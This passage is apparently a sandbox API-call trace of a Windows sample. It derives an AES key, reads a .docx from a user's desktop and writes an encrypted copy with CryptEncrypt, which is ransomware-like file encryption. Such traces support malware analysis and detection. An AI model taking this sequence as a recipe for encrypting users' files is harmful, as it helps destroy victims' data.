lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.998] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b8d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.998] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.998] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.998] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.998] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0021.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.998] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0021.999] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.000] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.docx" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\0-0nsqtjx3oqok.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.000] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.000] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.001] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.001] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\0-0nsqtjx3oqok.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.004] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.004] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.004] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.004] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.005] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.005] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0022.006] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xf9e, lpOverlapped=0x0) returned 1 [0022.006] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.009] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.009] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.009] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.009] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.010] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.010] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.010] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.010] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.010] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.010] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.010] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.011] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.011] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064d50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.011] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.012] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.012] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10f9e, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10fa0) returned 1 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.012] CharLowerBuffW (in: lpsz="byte[69537]", cchLength=0xb | out: lpsz="byte[69537]") returned 0xb [0022.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.014] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.014] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.014] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.015] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.015] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f38e0*, pdwDataLen=0xe8f3dfdf68*=0x10f9e, dwBufLen=0x10fa0 | out: pbData=0xe8f41f38e0*, pdwDataLen=0xe8f3dfdf68*=0x10fa0) returned 1 [0022.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.016] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.016] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.016] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.020] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.020] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.020] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.020] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.020] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.020] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.021] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.021] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.021] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.021] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.021] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.021] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.021] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.021] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 